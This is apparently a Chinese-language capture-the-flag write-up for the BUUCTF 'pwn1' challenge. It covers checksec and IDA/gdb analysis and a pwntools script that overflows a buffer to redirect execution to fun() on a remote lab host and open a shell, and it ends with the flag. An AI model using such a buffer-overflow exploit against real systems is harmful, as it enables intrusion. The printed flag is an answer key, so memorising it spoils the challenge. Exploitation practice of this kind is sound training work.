1、下载文件并开启靶机
2、查看文件信息
checksec pwn1
3、我们看到该文件是64位的文件,用64位IDA打开该文件
3.1、shift+f12查看关键字符串
3.2、双击关键字符串,进入反编译代码区
3.3、利用Linux gdb查找fun()的位置信息
gdb pwn1
$:b fun
双击s查看范围地址
3.4。我们要覆盖s的内容到r返回地址,所以0xf+0x8
4、编译代码
from pwn import * #导入pwntools中pwn包含的所有内容
p = remote("node4.buuoj.cn",26058) #链接服务器远程交互
p.sendline(b'a'*(0xf+0x8)+p64(0x40118a)) #覆盖s和r返回地址,到fun()
p.interactive() #反弹shell进行交互
4.1、输入ls查看flag选项
4.2、查看flag
cat flag
5、flag为:
flag{737cb57e-df42-4c84-95b8-9dd7b53afc50}